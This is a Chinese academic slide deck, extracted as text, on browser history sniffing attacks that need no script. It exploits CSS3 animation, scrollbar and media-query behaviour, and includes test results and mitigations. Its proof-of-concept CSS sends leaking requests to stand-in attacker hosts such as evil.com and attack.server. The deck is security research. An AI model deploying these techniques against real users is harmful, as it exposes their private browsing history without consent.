Survey
* Your assessment is very important for improving the work of artificial intelligence, which forms the content of this project
* Your assessment is very important for improving the work of artificial intelligence, which forms the content of this project
不依赖于脚本的浏览历史嗅探
梁彬
中国人民大学信息学院
2014.11
1
1. 背景
• 现代软件系统日益复杂,大大地增加了对其安全性分析的难度。
同时,软件系统中不断引入的新特征还可能导致攻击面(Attack
Surface)的扩大。
HTML、CSS3解
析渲染
JavaScript
解释器
各种格式的
图片解析及
渲染
PDF 等 多 种
格式的文档
显示
插件、扩展
多种协议
的客户端
( http 、
https
、
ftp…)
苛刻的性能
要求
各种格式的
音频、视频
播放
……
苛刻的容错
性要求
苛刻的安全
性要求
苛刻的兼容
性要求
本报告以主流浏览器中CSS3特性相关的一种微妙的无脚本浏览器
历史嗅探攻击为例,探讨复杂大型系统中安全风险分析的挑战。
2
1. 背景
• 历史嗅探 (History Sniffing)
1. 诱使攻击目标用户访问
一个嗅探网页
攻击目标
嗅探网页
2. 嗅探页面探测目标用户
访问过的URL并发送给攻
击者.
攻击目标访问
过的URL列表
攻击者
3. 攻击者根据攻击目标访问过的网站发起进一步利用或攻击:
有目的地投放广告
窃取用户隐私
有目的地进行钓鱼攻击
……
3
1. 背景
• 传统的历史嗅探攻击技术依赖于执行一段客户端脚本程
序(如JavaScript)。现今,浏览器中引入了多种防止脚
本执行的机制:Script Blockers、Script Filters、HTML5
iframe sandbox、Content Security Policy (CSP)
• 我们发现浏览器在实现新一代样式表CSS3时存在一些可
被利用的缺陷,据此构建了2种无需执行客户端脚本的
历史嗅探攻击方法:
– 基于度量的嗅探
– 基于比较的嗅探
• 这两种攻击方法能够成功应用于所有主流的浏览器
IE
Chrome
Safari
Firefox
Dolphin
Android Browser
4
可利用的CSS3特征
• CSS Animation,能被用作一个精确的计时器
DIV
DIV
DIV
400px
500px
200px
img
time
start
(0%)
500ms
(50%)
1000ms
(100%)
div {
height: 500px; width: 500px;
overflow: auto;
border:1px solid #000;
-webkit-animation-duration:1000ms;
-webkit-animation-name: scaling;
}
@-webkit-keyframes scaling {
0%
{ height: 500px; width: 400px; }
50% { height: 400px; width: 400px; }
100% { height: 200px; width: 200px; }
}
CSS Style
5
可利用的CSS3特征
• CSS Scrollbar Customization,可被用于观察容器中内
嵌内容的渲染并触发一个远程访问请求,即更换
track piece的背景(适合于Webkit内核的浏览器)
div
vertical track piece
div::-webkit-scrollbar-track-piece
:vertical:increment {
background: url("http://evil.com/yellow.png");
}
CSS Style
horizontal track piece
6
可利用的CSS3特征
• CSS Media Queries ,可被用于观察容器中内嵌内容
的渲染并触发一个远程访问请求(适合于所有主流
浏览器)
@media screen and (min-width: 350px){
body{ background: url("http://evil.com/red.png"); }
}
iframe
iframe
width:400px
@media screen and (max-width: 250px){
body{ background: url("http://evil.com/green.png"); }
}
CSS Style
width:200px
7
基于度量的嗅探
• PoC:嗅探用户是否访问过NSF(NSF的logo是否在用
户浏览器缓存中?)
高度: 71px
NSF logo
<html>
<head>
<link href="css.css" type="text/css" />
</head>
<body>
<div class="attack">
<img id="theImg" src=
"http://www.nsf.gov/images/nsf_logo.png" />
</div>
</body>
</html>
Attack Page
div.attack {
height: 72px;
overflow-y: auto;
-webkit-animation-duration:35ms; //嗅探窗口长度
-webkit-animation-name: sniff_animation;
}
div.attack::-webkit-scrollbar-track-piece:vertical:increment {
background: url(http://attack.server/nsfvisited);
}
@-webkit-keyframes sniff_animation {
0% { height: 70px; } //小于NSF logo的高度
100% { height: 72px;} //大于NSF logo的高度
}
CSS Style
当NSF logo在35ms内装载,将发送一请求
8
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
高度: 70px
Tch
Tx
Tcm
time
当NSF logo未在Cache中时
•Tas :动画开始时间
• Tch :缓存命中平均时间
• Tx :时间窗口长度
• Tcm :缓存未命中平均时间
9
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
Tch
Tx
高度: 72px
Tcm
time
当NSF logo未在Cache中时
10
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
Tch
Tx
Tcm
高度: 72px
time
当NSF logo未在Cache中时
11
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
高度: 70px
Tch
Tx
当NSF logo在Cache中时
Tcm
time
12
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
Tch
高度: 70px
Tx
当NSF logo在Cache中时
Tcm
time
13
基于度量的嗅探
• Demonstration
由于容器高度不够,将会出现一个track
piece,触发一个发往攻击者的请求
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
Tch
高度: 70px
Tx
当NSF logo在Cache中时
Tcm
time
14
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
Tch
Tx
当NSF logo在Cache中时
高度: 72px
Tcm
time
15
基于度量的嗅探
• Demonstration
Tas
Tch
Tx
Tcm
time
当NSF logo未在Cache中时
触发一个发往攻击者的请求
Tas
Tch
Tx
当NSF logo在Cache中时
Tcm
time
16
基于度量的嗅探
• 攻击实验
– 在880次测试中,仅仅有9个误报 (1.02%) 和 17个漏报 (1.93%)
Browsers
Chrome 26.0
Test times
200
Cached
Success
190
Fail
10
Non-Cached
Test times
Success
200
199
Fail
1
Safari 5.1.4
200
194
6
200
193
7
Android Browser 4.2
20
19
1
20
20
0
Dolphin 9.1.0
20
20
0
20
19
1
17
基于比较的嗅探
• PoC
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
<iframe src="BaselineQuery.html"
width=100% />
web page
<style>
@media screen and (min-width: 390px){
body{
baseline
background:url("http://attack.server/BASELINE");
images
}
}
</style>
Baseline Query
iframe
table
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
iframe
<style>
@media screen and (min-width: 390px){
body{
background:url("http://attack.server/TARGET");
}
}
</style>
Target Query
18
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
......
<iframe src="BaselineQuery.html"
width=100% />
iframe
table
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
19
基于比较的嗅探
• Demonstration
web page
Baseline logo图片被首先渲染
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
baseline
images
......
<iframe src="BaselineQuery.html"
width=100% />
iframe
table
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
20
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
Baseline对应的Iframe宽度被自动变
为和logo图片一样宽(大于390px).
......
<iframe src="BaselineQuery.html" width=100% />
iframe
table
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
21
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
......
<iframe src="BaselineQuery.html" width=100% />
iframe
table
media query被触发,向攻击者
发送一个 BASELINE 请求
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
22
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
......
<iframe src="BaselineQuery.html" width=100% />
iframe
table
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
23
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
......
<iframe src="BaselineQuery.html" width=100% />
iframe
table
嗅探目标logo图片会在至少一个
Baseline图片被渲染完成后才渲染
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
24
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
......
<iframe src="BaselineQuery.html" width=100% />
iframe
table
<iframe src= "TargeteQuery.html" width=100% />
iframe
media query被触发,向攻击者发送一
个 TARGET请求
当NSF logo未在Cache中时
25
基于比较的嗅探
• Demonstration
web page
baseline
images
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
iframe
<iframe src="BaselineQuery.html"
width=100% />
table
<img src="http://url_nfs_logo.png>
iframe
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo在Cache中时
26
基于比较的嗅探
• Demonstration
web page
baseline
images
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
iframe
<iframe src="BaselineQuery.html"
width=100% />
table
目标 logo图片被首先渲染
iframe
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo在Cache中时
27
基于比较的嗅探
• Demonstration
web page
baseline
images
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
iframe
<iframe src="BaselineQuery.html"
width=100% />
table
media query被触发,向攻击者发送一
个 TARGET请求
iframe
<iframe src= "TargeteQuery.html" width=100% />
当NSF logo在Cache中时
28
基于比较的嗅探
• Demonstration
web page
Baseline logo图片会在目标logo图片被
渲染完成后才渲染.
baseline
images
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
iframe
<iframe src="BaselineQuery.html"
width=100% />
table
iframe
<iframe src= "TargeteQuery.html" width=100% />
当NSF logo在Cache中时
29
基于比较的嗅探
• Demonstration
web page
baseline
images
media query被触发,向攻击者发送一个
BASELINE请求
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
iframe
<iframe src="BaselineQuery.html" width=100% />
table
iframe
<iframe src= "TargeteQuery.html" width=100% />
当NSF logo在Cache中时
30
基于比较的嗅探
• 通过控制浏览器最大并发连接(用额外的连接占用),可使
得浏览器发出的请求依次到达攻击者服务器
BASELINE 请求先发出,并先
到达攻击者服务器
TARGET请求先发出,并先到
达攻击者服务器
TARGET请求后发出,并后到
达攻击者服务器
BASELINE 请求后发出,并后
到达攻击者服务器
当NSF logo未在Cache中时
当NSF logo在Cache中时
31
基于比较的嗅探
• 攻击实验
– 在1680次测试中,仅仅有3个误报 (0.18%) 和 2个漏报 (0.12%)
Browsers
IE 10.0.9
Test times
200
Cached
Success
199
Fail
1
Non-Cached
Test times
Success
200
200
Fail
0
Firefox 19.0
200
200
0
200
198
2
Chrome 26.0
200
200
0
200
200
0
Safari 5.1.4
200
199
1
200
199
1
Android Browser 4.2
20
20
0
20
20
0
Dolphin 9.1.0
20
20
0
20
20
0
32
讨论
• 如何检测或避免出此类缺陷?
– 传统的静态分析和动态分析技术力有不逮
– 对浏览器进行系统化的隐蔽信道(Covert Channel)建
模和分析(由于浏览器的复杂,工作难度很大)
– 实施更细粒度的访问控制
• 对已知攻击可能的缓解方案:
– 破坏已知的隐蔽信道,例如随机化对象的渲染次序,
抵御基于比较的嗅探攻击(新版Chrome已经实施)
– 在Cache机制中引入同源策略(Same Origin Policy),
使得原始访问形成的Cache对嗅探网页不可用(会带来
一定的存储和性能开销)
–…
33
小结
• 当前主流浏览器中的CSS3及HTML的解析渲染
中存在有信息嗅探和泄露的缺陷(可能还有更
多的)。即使是在脚本阻断技术保护下,也仍
然存在严重的隐私信息泄露风险
• 功能复杂的现代浏览器在设计实现时面临很大
的安全压力,很难避免引入可被利用的缺陷
• 面对复杂系统,当前的安全分析技术面临重大
挑战
– 深入的系统化分析难以开展
– 难以构建必要的安全缺陷知识
34
Q&A
谢谢大家!
35